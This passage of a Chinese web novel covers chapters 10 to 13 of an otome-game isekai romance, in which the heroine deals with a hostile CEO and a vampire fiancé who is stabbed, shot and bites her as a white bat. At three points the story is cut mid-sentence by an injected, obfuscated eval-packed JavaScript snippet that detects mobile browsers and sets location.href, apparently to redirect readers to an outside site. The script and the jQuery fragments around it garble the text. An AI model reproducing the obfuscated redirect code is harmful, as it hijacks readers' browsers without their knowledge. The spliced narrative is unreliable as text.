完、蛋、了。
金禾捏着手里的两块布,扔也不是,拿也不是。
不动如山的南浔拥有着一条脆弱的西裤,西裤被一分为二,两裤腿一上一下,各不相同,随风而动。
从金禾的视角,她甚至能看见很喜庆的颜色。
哇哦,是红裤衩诶。
南浔其实应该感谢自己,至少现在,他拥有了世界上独一无二的西裤。
这就是传说中“孤品”。
小女孩哭声戛然而止,她捂住眼睛,喃喃道:“大哥哥羞羞脸。”
“你还要吗?”金禾把那残骸推到了南浔脚下,一点点往水里缩。
正常西装裤子都不能这么脆弱吧?
孙子,你会原谅奶奶的……对吗?
她脑袋如同卡壳般,一顿一顿地往上看。
那黑如锅底的面色,那紧紧攥紧的拳头和那鼓起的青筋都在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16890035|192209||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
告诉金禾一件事。
他需要奶奶的关怀!
“系统系统!快快,给我另一个身体弄个生命体征消失!”金禾从来没有如此迫切地呼唤着系统。
【好的,宿主】
她目光紧紧锁在南浔的终端上,可终端始终毫无反应。
时间一分一秒过去,系统忽然出声:
【……那个,他终端似乎坏了。】
什么年代了,居然还有终端不防水。
金禾已经不知道该做出什么表情,只能静悄悄地远离池边。
此刻她无比感谢没有人注意到这个小角落……
“嗒嗒嗒。”
高跟鞋和皮鞋落地的声响朝着这边逼近。
两人的争吵声愈演愈烈。
“我不想和你谈论这个!”
“你听我说,我跟她真的没什么!”
“是她跟你没什么,不是你跟她没什么,你自己心里想什么你门清!”
……
金禾一时间顾不得吃瓜了,她偏头就能看见同她一起躲在水池里的南浔。
小女孩学着他们的样子蹲下身,躲在花盆后面,眼里闪烁着兴奋的光。
金禾扣着泳池壁砖的缝隙,手臂酸痛,她现在的位置正巧在梯子对面。
她也不知道那两人眼睛往哪长的,那么大条黑狗和小孩都没注意到。
脚下没有支撑,她又怕自己太大的动静会引来别人注意力,到时候南浔的威名怕是不保。
为了南浔着想,金禾最终还是把手伸向了对方,她勾住南浔脖子,像个树懒一样挂在他身上。
南浔看着心惊胆战的金禾,用不容置喙的语气说道:“下去。”
“我会淹死的,你也不想让人看见这副样子对吧?”金禾声音平缓,她努力让自己的夹子音听起来具有亲和力。
可事实总是与想象是不同的,她自认为甜美的嗓音在南浔耳道里变成了如同尖刀刮铁罐的噪音。
“你威胁我。”南浔算不上什么注重礼节的人,他对于所有人都不太尊重,所以在用手肘顶开金禾时他毫无负罪感。
……
水池外边的吵架声逐步升级,两人已经开始上升到肢体冲突了。
“你听我说。”男人扣着女人的肩膀,把她压在墙上。
“我不想听!”
“靠!”
靠!
金禾的心声和男子的吼声重叠,她颤颤巍巍地爬上岸。
南浔半点怜香惜玉的意思都没有,即使她第一时间躲开,还是不可避免地感到疼痛。
金禾趴在岸边,瞪着南浔。
她知道自己的姿势不雅观,但此刻她只想跟南浔打一架。
自己在为不让他发现而努力,他倒好,六亲不认,直接给金禾来了个肘击。
【宿主,三思啊!这是乙游,你不能随便打男主的。】
金禾对系统的话嗤之以鼻。
这是乙游,玩家选谁做男主,谁才是男主。
玩家才是这个游戏的老大,换而言之,她就是这个游戏的皇帝。
大胆刁奴,以下犯上,当诛!
“有人……”女人率先看见了她。
金禾的出现打断了两人的争吵,他们都用不可思议的目光望着金禾。
一个浑身湿透的人撅着屁股趴在池边瞧着确实有点匪夷所思,但金禾显然不在意别人看法,她直起身子,冲着他们摆了摆手:“你们继续,别管我。”
11. 蝴蝶效应
流动的空气渐渐凝固,金禾丝毫不感觉尴尬,她施施然朝着两人走去:“那个需要帮忙吗?”
女人眼神锐利地瞥了眼男人,浑身上下都带着一种若有若无的压迫感。
金禾觉得这位应该就是今天的恋爱脑了,但是这位女士看上去实在不像是恋爱脑。
“不用了,谢谢你。”女人对着她温和一笑,脱下自己的外套搭在金禾身上,“注意安全。”
话落,女人拉着男人到别处吵架了。
【宿主的行为造成蝴蝶效应,恋爱脑事件未触发,魅力值无法增加。】
金禾行为的本质就是跟男主们抢夺女人的爱,如果这个爱都没有产生的话,自己也抢不到。
她忽然有点后悔把南浔的裤子扒下来了。
都是这个南浔混蛋害得自己魅力值没增加。
盆栽后面的女孩和大黑狗不知什么时候不见了踪影,金禾对着南浔道:“出来吧,没人了。”
南浔无视了她,静静摆弄着他的终端,眼里冷若冰霜。
过了好一会,他才道:“我终端坏了。”
“对不起,我赔你吧。”金禾老实巴交地等在原地。
远处觥筹交错的宴会上闯进了一个人,那人满眼焦灼地左顾右盼。
金禾莫名觉得那人有些眼熟。
那人好像是南浔的助理。
徐特助满世界找人无果,刚打算去查监控,就看见一个湿答答的水鬼冲着他挥手。
他眼底划过一丝疑惑,小心翼翼地走到金禾面前。
金禾搓着手问道:“先生,你裤子卖吗?”
徐助理哆哆嗦嗦地后退:“不卖。”
“徐衍,把你裤子给我。”南浔认出了助理的声音,从水池里露出脑袋。
徐衍本就被金禾的全包眼线吓到了,接着又碰上昨夜梦魇中的老板脑袋,心咯噔一下,一屁股跌坐在地。
“起来,别把裤子弄脏了。”南浔蹙眉看着碰到地板的裤子,眼底一片冷然。
金禾看见朝着徐衍伸出手,拉着徐衍站起来。
“你没事吧。”
她心里都是对南浔的羡慕。
万恶的资本家……她以后也要做这种人。
她到底什么时候才能这么刻薄地活一次?
“没事……”余光里的红裤衩太过刺眼,徐衍忽然想起昨天南浔找大师算了一卦。
那位大师说,南浔穿红色有助于他心里想的人恢复健康。
他觉得一脸严肃的老板穿着红裤衩有点诡异,但他完全不敢表露自己的情绪。
“医院那边传来消息……”
徐衍刚开口就被南浔拽走,等两人再次出现在金禾的视野里时,两人服装对掉。
“小姐,我们加个好友,晚点聊聊终端的赔偿事宜。”徐衍摸摸鼻子,觉得自家老板过于抠门,怎么能叫美丽的女士赔偿这些呢。
【魅力值加一(来源:徐衍的好感和同情),当前魅力值为3。】
金禾呆愣愣地点了点头。
她心里的新世界慢慢打开了,只要取得男主周围人好感,自己魅力值也会增加。
那自己只要不断作死,惹男主大发雷霆后再扮可怜,男主身边人同情自己,自己魅力值也能增加。
两人交换好联系方式后徐衍就走了,她在酒店里订了个房间,在终端上订了套衣服。
*
热水哗啦啦淌过肌肤,浴室里氤氲着白蒙蒙的水汽。
栀子香醺了满屋,金禾坐在床上,穿着刚拆了吊牌的衣服。
她床头柜上的时钟,看着时间,和跟顾言秋约的时间快到了。
她变回了原本的样子,倒在床上,对着系统问道:“系统,你还有能量吗?”
易容需要很多能量,时空管理局扣扣搜搜的,就算给了补贴也没多少。
【没有了宿主,所以接下来替顾言秋挡刀的任务要靠你自己了。】
系统说完这句话就彻底停机了。
金禾揉着脸,嘴角勾起一抹讥笑。
挡刀的事情,她才不干。
她完全吃不了身体上的苦,她不怕死,但怕疼。
这活她干不了一点,现在她的目标就是带着顾言秋避开这个剧情点。
反正要的是顾言秋活下来,没说怎么活下来。
……
天花板的白炽灯渐渐和车前的大灯重合,车窗缓缓降下,顾言秋打开了车门,却没分给金禾一个眼神。
夏夜里凉风飒飒,她拎着装着脏衣服的袋子,上了顾言秋的车。
“安全带。”顾言秋睨了眼金禾,把手往她腿伸过去。
她才把袋子放在脚边就看见了咸猪手,她擒住顾言秋的手臂。
登徒子啊!
顾言秋意识到金禾误会了,解释道:“我想打开手套箱。”
“我想和你牵手。”
金禾不想让顾言秋知道自己误会了,硬着头皮空出一只手和他十指相扣。
空调冷风从出风口簌簌落下,顾言秋的手比那冷气还要凉上几分。
两人交握的双手没半点暖意,金禾按捺住想抽回手的想法,问道:“你一只手开车是不是不方便啊?”
自己是多么善解人意的人啊,所以快把你的手给收回去。
金禾自认为顾言秋会顺着她的话说下去,可顾言秋并没回答这个问题,他只是浅浅一笑,温柔道:“能帮我打开一下手套箱吗?”
金禾盯着手套箱,脑子里浮现出上次在顾言秋车里发生的一切,心里发怵,犹豫地打开手套箱。
里面不会又是那个枪吧?
“啪嗒。”
里面的东西映入眼帘,幽灵白制成的玫瑰花赫然立在玻璃罩里,四周挂着的暖色氛围灯打在
花瓣上。
顾言秋托着金禾的手,在她的手背轻轻落下一吻,:“不知道你会不会花粉过敏,所以给你准备了玻璃花。”
“谢谢,我很喜欢,哇塞,你太好了吧。”
这个吻如同蜻蜓点水,若是金禾的手背是水,此刻想必已经泛起涟漪,但她的手背是铁□□,所以她并没有任何感觉。
一个疑问忽然盘旋在金禾心头。
这人到底是有过多少个未婚妻才能这么熟练地吻自己手背。
“所以你会过敏吗?”
“不会。”
顾言秋并不知晓金禾心底的想法,他只以为金禾同自己之前的那些未婚妻一样在敷衍自己。
即便那些女人不喜欢自己送的东西,他认为自己还是要努力为她们准备最用心的礼物。
“你今天是不是在家办公啊?”金禾主动寻找话题,望着顾言秋平静的眸底,她怀着疑惑捧着礼物。
难道自己的夸赞不够真诚吗?感觉顾言秋不是很高兴。
顾言秋没放下她的手背,用嘴唇蹭着细嫩的肌肤:“对,近两个月都在家里办公。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16890036|192209||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
近两个月,清理局修改了档案,顾言秋异能板块那栏添加了魅魔异能,理由是只要见过他的非单身女性第二天就会有百分之九十的概率变成单身。
因为这个关系,他近日都在家办公,没有人找到他异能改变的原因。
之前他的异能是隐形人,隐形人因为存在感极其低,即便他外貌出众也无法引人瞩目,即使有人见过他的脸也会转瞬忘记。
没人会记得他,没人会爱上他。
可现在他只要出现在人多的地方有一定的概率会被认为是什么明星,然后被人围得水泄不通。
他讨厌被人注意,他更习惯以前的生活。
明明握着一只很冰凉的大手,可金禾的手却愈发滚烫。
人类的手总是很暖和,顾言秋一时间竟然有些不舍得放开了。
他觉得金禾等会儿一定会自己收回去,而金禾觉得他等会一定会放开。
最终两人没人松手。
*
夜幕低垂,车子缓缓启动,车流向着远方蜿蜒而去。
金禾睨了眼开车的顾言秋,又瞅了眼两人交握的手,最后还是把目光放到手里的玻璃花上。
每个花瓣里都仿佛含着水,在路灯的照射下,波光粼粼、熠熠生辉。
她自认为自己的夸赞诚意十足,可顾言秋似乎还是不为所动。
这是为什么呢?
在游戏里,顾言秋是魅魔一样的存在,再配上吸血鬼的设定,魅力无限,引得很多玩家喜欢。
难道是得到的夸赞太多了,所以对自己的夸赞不满意?
不然自己学着他的样子来一嘴子。
金禾在心里念念有词。
想着想着,她举起顾言秋的手,调整好角度,在手背当中嘬了口。
“啾。”
短促而清亮的声响在狭小的空间里转瞬即逝,可在顾言秋脑子里迟迟无法消散。
他过去常常亲吻未婚妻们的手,可从未得到过同样的回应。
他迫切地想要求证一件事。
那就是,金禾是否对他爱到无法自拔。
如果真的是这样,他需要考虑提前结束这段关系了。
他绝对不能耽误别人。
十字路口的绿灯熄灭,红灯紧接着挂起,拦断了来往的车辆。
顾言秋踩下刹车,看了眼终端,骨节分明的食指敲击着方向盘。
“你做了多久?”金禾垂着眼睛,将手覆在玻璃罩上。
顾言秋沉默片刻,似在仔细回忆:“很久,但不会比我们今天一起度过的时间久的。”
清润的声音如同棉签在耳朵里轻轻打转,金禾把玻璃花暂时放到手套箱里,靠在椅背上,侧过头:“你跟所有人讲话都是这个语气吗?”
顾言秋审讯的时候和现在完全不同,现在用的语调让人听起来晕晕乎乎的,金禾似乎下一秒就要被哄骗了。
车驶过红绿灯,路灯散发的一道道光穿进车子,没停留多久又跑走了。
“我只对你这样。”顾言秋似乎怕金禾不相信,加重了手中的力道,两人的掌心紧紧相贴。
金禾心里莫名躁动,她迅速压住了心里即将涌出的爱心泡泡。
她悠悠叹了口气,她的精神力被这个游戏世界给压制了,差点被人勾去了魂。
她是个有意志力的女人,绝对不会轻易屈服!
金禾差点忘记了今天的主要任务,她试探道:“能不能去其他地方先?”
12. 蝙蝠
顾言秋斟酌了一会儿道:“可以,但是我需要先回家拿个东西先。”
金禾眼睫轻颤,她讷讷道:“一定要回家拿东西吗?”
剧情的力量是强大的,或许顾言秋命中就有这一劫呢?
男主的主角光环那么强大,自己就算是不帮忙挡刀也没事吧。
“怎么了吗?”顾言秋不知道金禾失落的情绪从何而来,收回手,安抚似的摸了摸她的脑袋。
刚洗完的头发还有些毛躁,他想起过去当理发师的时光,于是把手指插到发缝里,搓得金禾的头发乱糟糟的。
金禾见顾言秋似乎还想继续搓自己头皮,立刻弯下腰避开,假装去看脚边袋子里的衣服。
有病。
她第一次见有人摸头摸着还搓别人头皮的。
吸血鬼的嗅觉格外敏锐,手掌上残留的余温里还带着栀子花的香味。
顾言秋眼神专注,盯着前方。
他踩下油门,窗外的霓虹灯光如流水般掠过他的脸,金禾侧靠在他的那一面,光明正大地看着他的脸。
她脑子里不停想着该怎么拖延时间。
打晕太过于冒进,到时候顾言秋醒来,她有可能又被当成嫌疑犯,然后被关起来。
强吻的话也没法亲那么久吧。
怎么办怎么办……
没有系统的话,她根本不清楚现在是什么情况。
其实金禾高看系统了,没有能量的系统比她还要菜。
车子进入小区,顾言秋把车停下。
“啪。”
他解开安全带,对着金禾道:“你等我一下,我拿完东西马上回来。”
“好。”金禾挥挥手,目送着顾言秋远去。
顾言秋走起路来不疾不徐,那抹身影消失在转角,金禾久久无法回神。
男主应该死不掉的对吧。
金禾是一位很喜欢钻漏洞的人,她讨厌循规蹈矩。
抱着侥幸的心理,她决定赌一把,就算这个男主死了,还剩下四个呢!
她还想试探一下规则,不同世界对于维修人员的惩罚机制不同,她想看看这个世界的惩罚机制是什么。
如果惩罚不痛不痒的话,她就不做任务了!
摆烂吧!
*
“咔哒。”
门锁发出声响,顾言秋没有开灯,他扫了眼客厅,微微蹙眉。
一想到那些肮脏的家伙踏入他的家门他就恨不得把他们腿砍了。
灰色的门帘密不透风,伸手不见五指的地方却是顾言秋最喜欢的。
他好像很久没尝过新鲜的血液了。
终端上还写着来刺杀他的人的信息。
清理局的叛徒太多了,需要好好清理清理。
“啪。”
一只手如同在弹钢琴一般把灯全部点亮。
叶白当着顾言秋的面拉开椅子,反坐在上面,乐呵呵道:“我都给你处理好了,我身上钱不够了,看在我帮你处理掉那些家伙的面上,借住你家几天。”
“不行。”顾言秋语气不容置喙,他想到随时都有可能跑到他家的金禾,不自主地揉了揉眉心。
顾言秋的异能变为魅魔后,叶白的异能变为了隐形人。
过去叶白都是靠坑蒙拐骗度日,他早就习惯了花钱大手大脚,现在因为不能勾勾搭搭富婆,所以他如今身无分文。
“你的未婚妻,我帮你搞定怎么样?你又不止这一个房子不是吗?”他并不惊讶顾言秋的拒绝,他拿准了顾言秋现在正苦恼的东西,料定顾言秋不会拒绝他。
“好,你去隔壁住。”话落,顾言秋给叶白转去了几百块,“在我回来之前把这里打扫干净。”
“遵命!”叶白两指并拢,将手指抵在额头,做了个发誓的手势。
*
金禾的消消乐已经到了第六关,屏幕上的光打在她精致的脸蛋上,游戏才进行到一半,可她
早就玩得有些腻了。
风口还在呼呼吐出冷气,她浑身泛起鸡皮疙瘩。
不知是不是她的错觉,她总觉得出风口的声音有些不同寻常。
她集中注意力,听着四周的动静。
一共有两道不轻不重的呼吸声缠在她的耳畔,其中之一是她自己发出的声音。
还有一道是模仿她呼吸声的声音。
一呼一吸、一吸一呼。
金禾打断了自己呼吸的频率。
那人察觉到自己被发现,笑着道:“好玩吗?”
金禾转头看着慢慢现形的黑衣人,如实回答道:“打发时间用的,不好玩。”
一点都不好玩。
那人是从顾言秋下车后才凭空出现在车里的,金禾按灭了屏幕。
可能是由于病毒的入侵,所以剧情点发生了改变,在原本的剧情里,金禾应该要在顾言秋家里替他挡刀的,现在看来要在车上了。
既然命中有此劫,那就迎难而上好了。
“我不想伤害无辜的人,等会儿顾言秋回来你自己下车吧。”
黑衣人的话毫无可信度,如果金禾是这个黑衣人的话,她会把知道这件事的人统统干掉。
“好……”金禾眼眶泛红,她攥紧衣角,身子微颤。
边上有零零散散的行人路过,顾言秋突然从转角出现,他走近车子。
“扣扣扣。”
“咔嗒。”
顾言秋先是敲了敲窗子,而后才拉开门。
“久等了。”他眼里带着歉意,他瞥了眼后视镜,在车的显示屏上一通操作,“金小姐,往前靠一点。”
金禾不明所以地往前靠,身后传来巨响,似乎有什么尖锐物从后座捅出,温热的液体在空中绽开,红色的颜料喷洒在玻璃窗上,一幅幅画在金禾眼前倏然出现。
她心里只有一个念头。
我的澡白洗了。
她应该装作害怕地蜷缩在一团,或者哭着求顾言秋安慰。
可是她满脑子只有被弄脏的烦躁。
就不能等找个理由让她下车再做这件事吗?
她悄悄从后视镜里瞄了眼身后的黑衣人,他已被从座椅上的尖刺扎了个透心凉。
“金小姐,我代表清理局正式邀请你加入我们。”
顾言秋掀开驾驶座底下的垫子,从里面掏出一份文件放到金禾腿上。
事到如今,必须让金禾快点加入他们。
金禾的职业素养令她快速调整了状态,她低着头,抖若筛糠。
豆大的泪水如雨倾泻,在纸上晕开水渍。
顾言秋在面对工作和日常感情会呈现出全然不同的状态,这种强烈的割裂感让金禾不知道怎么面对他,所以她选择了哭,毕竟扮可怜在很多时候都是有用的。
金禾哽咽问道:“清理局是什么?后面这人为什么能突然出现在车里?我好害怕,我们能不能换一个地方说话?”
“清理局是一个伟大的地下组织,主要负责处理一些特殊事件,之后我会为你详细介绍。后面那人是拥有特异功能的吸血鬼,很抱歉暂时不能换一个地方说话,被路人看见我们身上的血迹就不好了。”顾言秋耐心地回答每一个问题。
你倒是给我现在介绍啊,毫无诚意。
金禾才不会这么轻易答应顾言秋。
“金小姐,签完我就带你去你想去的地方。”
顾言秋面色淡然,红色的颜料在他有些苍白的脸上异常鲜艳。
金禾没有回答他,慢慢摊开合同,这看上去只是一份普通的入职合同,上面密密麻麻的条款看得金禾眼花缭乱。
如果系统在的话,就有人能为她提取合同里的关键信息,但如今系统不在,她只能一行行看下来。
这还真是一份全年无休、不给交社保的“好工作”啊。
“可以给我点时间思考一下吗?”
眼泪粘在脸颊上,金禾用干净的手心擦掉泪痕。
衣服上、脸上、头发上都是黏腻的液体,液体渐渐干涸,黏糊糊的,还带着难闻的腥味。
她非常想要离开这闭塞的空间。
“那我们先签个保密协议。”顾言秋又掏出了一份保密协议。
金禾的微表情骗不过顾言秋,自己这位未婚妻的恐惧面具下藏着烦躁。
“后面那人是什么?他为什么杀你?”金禾总觉得有些不对劲,事情绝对没有这么简单:“你确定后面那人死透了吗?”
“死透了。”
顾言秋的语气过于笃定,金禾悬在空中的心渐渐落了下来。
倏然,黑衣人动了起来,他几乎是以肉眼不可辨别的速度掏出一把枪。
“嘭嘭嘭。”
几发子弹都是朝着顾言秋的方向射出。
黑衣人几乎是耗尽了最后的力气,他的双手无力地摊下。
金禾蜷缩在座位下,她颤巍巍地抬起头,看着后座似乎已经断气的黑衣人,她小心翼翼地爬出来。
垃圾顾言秋,死人和活人都辨别不出来!差点连累我。
她扫视四周,有两个颗子弹嵌在挡风玻璃上。
还有一颗呢?
她朝着顾言秋看去,顾言秋捂着腹部,痛苦地弯着身子,呼吸急促,冷汗直流。
血淋淋的伤口让金禾不忍直视,一边是流血不止的顾言秋,一边是可能还没死透的黑衣人。
她看着显示屏上的自我防御模块,学着顾言秋刚刚的模样按了好几
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16890037|192209||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下。
“刷啦刷啦。”
尖刺收起又凸出,收起又凸出。
金禾不想去看后面血沫横飞的景象,她放下手:“我是要报警吗?”
顾言秋已经疼得说不出话来,他摇了摇头,将带有终端的那只手放到金禾面前。
【你好,亲爱的维修人员,由于你的系统停机,机器系统将为你播报一则通知:你已触发了惩罚机制,如若三分钟内想不出办法救活顾言秋,你将会迎来终极死亡。】
这一点都不合理,她根本没有挡刀的机会啊。
这跟领导叫你竞争已经被内定的项目有什么区别?
竞争不过还要杀人灭口。
“滴滴滴。”
终端的屏幕被填满红色,一个电话打了进来,金禾还没点开电话便自己接通了。
“顾言秋?我马上来,你能说话吗?”叶白焦急的声音从电话那头传来。
金禾慌张道:“他说不出话,你能在两分钟之内赶过来吗?”
她记得吸血鬼能通过人血来短暂维持生命力,
可是她好怕疼。
而且贸然把手伸到顾言秋嘴巴里显得她好可疑啊,一个懵懂无知的人类知道怎么可能知道怎么救吸血鬼啊。
“你把手放他嘴里,我十分钟内赶到。”
都要死到临头了,金禾满脑子还是怎么换种方式来救活顾言秋。
难道不可以抓个路人来给他吸吗?
她朝着窗外望去,不见一个人影。
最后,她还是把手臂递到了顾言秋嘴巴前,视死如归道:“你咬吧。”
咬完记得给她点攻略值,再不给她点攻略值她就要完蛋了。
预想的疼痛没有出现,取而代之的是一种难以言喻的快感。
那股畅意随着唾液融入血液,顺着血管在流动全身,直冲天灵盖。
汗水浸湿了身上宽松的T恤,金禾忽然才想起来,这是个乙游。
在游戏里,顾言秋喜欢跟玩家卿卿我我,更喜欢跟玩家叽叽歪歪时对着玩家来一口。
身为零氪的金禾没有积分购买这个服务,所以她在游戏仓里面都选择直接跳过这个剧情。
以前不理解为什么咬人的剧情需要花钱解锁,现在她理解了。
她唯一拥有的服务还是签到一百天赠送的病娇mod体验包,她刚刚装上就被领导分配到了维修组。
到底什么时候自己才能回去体验装了病娇mod的乙游啊……
金禾眼神涣散,但脑子里还在回想那些mod的内容。
在他们都看不见的地方,一则程序正在启动。
【病娇mod下载进度10%,正在载入顾言秋的血液饥·渴症……】
【载入成功!祝玩家游戏愉快,幸福至上!】
顾言秋突然松了口,凉凉的空气覆盖在金禾手臂上,银丝瞬间像是被冰冻住了。
风吹得树沙沙作响,挠得金禾的心痒痒的。
她难以戒断这戛然而止的快乐,她将手往顾言秋嘴里伸:“你还要咬吗?”
等回去她就体验不到这个服务了。
顾言秋白皙的脸上晕开一层红,黑色的瞳孔充斥着眼睛,像是黑洞一般,把金禾吸了进去。
那根名为“理智”的弦彻底断了。
“要。”
话落,他刹那消失在原地,空荡荡的衣服没了支撑层层叠叠堆在一起。
扁扁的衣服里有个鼓包朝着领口挪动,下一瞬,一个白色的脑袋从领口钻出来。
金禾从未见过任何一只蝙蝠的毛能比它白,能比它更能让人心软。
巴掌大小的蝙蝠的毛如白雪,眼睛大而亮,眼尾朝下。
它委委屈屈地跳到金禾身上,灵活地跑进松松垮垮的衣摆里。
这只蝙蝠已经许久没有吃过水果了,他爱吃香蕉,也爱吃花蜜,但它最想吃的是面前的水蜜桃。
那些果农总是不嫌麻烦地在桃子外面套上泡沫网格,严严实实,不解风情。
他们完全不懂蝙蝠对于水果的喜爱,但好在今天的水果只包了三分之二。
泡沫网很结实,那到底有多结实呢?
恰好能让他挂在刚刚好挂住。
泡沫网也不是很结实,太大了,害得它还需要钻到里面去咬桃子。
它一夜通常是要嚼食双倍体重的食物,可面前的桃子似乎并没有比她大。
幸好,它有两个水蜜桃。
软乎乎的,甜滋滋的,快乐是相互的,它相信在它幸福的时候,桃子也会觉得幸福。
果汁顺着狭管流到它身体里,它的肚子鼓鼓囊囊的,很撑,很饱,很满足,连带着身上的伤口也不痛了。
13. 男“小三”
金禾浑身无力地瘫在副驾驶座上,暖烘烘的毛团贴着她的身体。
□□炙烤,她的呼吸慢慢加重。
她突然想到了蝙蝠身上含有的多种病毒,这几口咬下去她不会上西天吧?
这一想法一旦出现,就一发不可收拾地在脑海里蔓延开来。
头上如同有一盆冷水浇下,她瞬间清醒了。
这家伙在咬她哪里呢!
金禾忍住扒拉走顾言秋的冲动,她托着那坨白毛,拉开了车门。
“啪嗒。”
新鲜的空气涌入车里,她深深吸了口气,一鼓作气起身。
小火易灭,可火星仍存,金禾脚下一软,又跌坐回了车里。
“啪。”
一只手按住了车门,一道阴影投在身上。
眼泪模糊了眼眶,金禾猛地抬头,一张模糊的帅脸凑到她眼前。
叶白挑着眉毛:“能带我一个吗?”
金禾没有多人运动的癖好,时间紧迫,她来不及询问这人身份,她加快语速道:“带他去医院。”
三分钟早就过去了,虽然系统没再说什么,但她真的害怕顾言秋又出什么事情。
“得嘞。”叶白匆匆绕到另一边,开门、关门、拉杆、踩油门一气呵成。
车子驶入街道,引擎发出轰鸣声,仪表盘上指针飙升。
两边的景色化作流光从眼前闪过,叶白打开了车载音乐,激荡的音乐在车里环绕。
金禾听得脑壳疼,她先是轻咳一声,见叶白不搭理她后,她又重重咳了声。
“有事?”
叶白在心里嘲笑顾言秋真是没魅力,居然能让自己的吸血对象分神。
金禾严肃道:“我被蝙蝠咬了会死吗?”
“这只应该咬不死你。”叶白放下一只手,单手搭在方向盘上。
“我把他拿下来他会死吗?”金禾盯着叶白的白嫩嫩的脸,那脸嫩得像是能掐出水来。
吸血鬼岁数都很大吧,为什么还能这么水嫩?
叶白的白和顾言秋的白完全不同,前者是像是娘胎里带出来的白,后者是那种久病无法见到阳光的人的白。
叶白先是嗤笑一声,转而哈哈大笑:“反正我闻着他不像是快要死的样子。”
反而很精神呢。
听完这句话,金禾倏然放下心来,她侧过身,背对着叶白掏出了一只雪白的蝙蝠。
蝙蝠一路都在她手里,它直勾勾看着金禾,乖巧地待在手心里。
一座私人医院渐渐出现在视野里,叶白熟练从后门进去,又开入车库。
车库里,昏暗的白炽灯明明灭灭,车子停在了一处地下洗车店。
叶白拉开车门,对着老板招了招手。
老板把叶白拽出车子,朝车里望了一眼,嘴角下压,神色不悦地推了他一把。
“你搞什么啊,把车弄这么脏。”
车内黑红黑红的,不知名肉块散落一地。
“一切消费记顾言秋身上。”叶白嘴角带笑,拍了拍老板肩膀,拉着金禾往角落的电梯走去。
肌肤相触,金禾浑身一激灵。
叶白的手比顾言秋的还要冰。
二人迈入电梯,叶白从口袋里掏出一张卡,拍在刷卡器上,按下10楼按钮。
“滴,欢迎回家,叶小白同志,请微笑。”
叶白无语地翻了个白眼,随后挤出一抹笑。
“识别成功。”
电梯缓缓上升。
冷白的光映在叶白长长的睫毛上,他岔开腿,弯下腰,瞪大双眼盯着金禾手里的顾言秋,用金禾听不懂的话说着:“臭不要脸的蝙蝠,在勾引谁呢……哦哦,原来是对你毫无性·趣的未婚妻啊,勾引人这事你做不来,还是之后交给我吧。”
金禾无法理解叶白话的意思,但听那贱兮兮的语气,大抵不是什么好话。
叶白同时拥有着极具欺骗性正脸和极具攻击性的侧脸。
此刻,金禾正盯着他那双亮晶晶的眼仁,以及包裹着漂亮瞳孔的眼皮。
原来内双的眼睛也能这么大啊。
她视线缓缓下移。
线条流畅的瓜子脸,微微勾起的下巴。
除了那头乱糟糟,看上去许久未修剪的头发,其他地方金禾都觉得很帅气。
“你在看我吗?”叶白的头发随着他抬头的动作微微抖动。
金禾爽快承认了:“是的。”
真是一顶很适合养蝙蝠的头发。
这般想着,金禾把顾言秋放到了叶白头发上。
大小正正好!
“那个,他给你了,我觉得我可以走了……”她退到电梯角落,“这个电梯可以下去吗?”
眼皮好沉,身体好累。
金禾只想回家好好睡一觉。
“家属需陪同。”
叶白当着金禾的面戳着一楼按钮,按钮没丝毫反应,他向着金禾露出洁白的牙齿,而后耸了耸肩。
他在用肢体语言告诉金禾,你不能走哦。
“叮咚。”
电梯门开启,外头黑漆漆一片。
一个穿着白大褂的壮汉站在电梯前,把手伸到叶白面前。
叶白捏着顾言秋的头,递给了他。
“喂,叶白你别想跑,跟我一起做手术。”口罩遮住了壮汉大半张脸,他把叶白捞近怀里,用手臂卡着他的脑袋往外拖。
壮汉刚走出一步,叶白笑嘻嘻道:“哪里还有一个没跟上呢。”
“我自己走!”金禾像个鹌鹑般,缩着脑袋,迈着小碎步跟在后面。
医院的长廊上门道道紧闭,消毒水的气息随着空气一起钻入肺里。
她时不时瞟向四周,想再看仔细些,但由于四周实在是太暗了,她只能老老实实跟在壮汉身后。
“哒哒哒。”
几人的脚步声在空荡的走廊回荡。
头顶的绿牌指示灯一闪一闪的,暗处不停传来窸窸窣窣的响动。
金禾加快了脚步,面前人停下脚步,她一时不察,她撞上了上去。
“我看你身上脏了,你可以在这间房洗澡换衣服。”
说完,眼前人就进到了隔壁房间。
“啪。”
隔壁门关上,偌大的空间里就只剩下她。
金禾想去拉隔壁的门,可门似乎被锁住了,她往外拽了两下就放弃了。
她实在是不想一个人待在这么阴森森的地方……
“小姑娘……”
苍老的声音似乎从很远地方传来,金禾吓得汗毛竖起,她僵在原地,四处张望。
“我在你头上。”
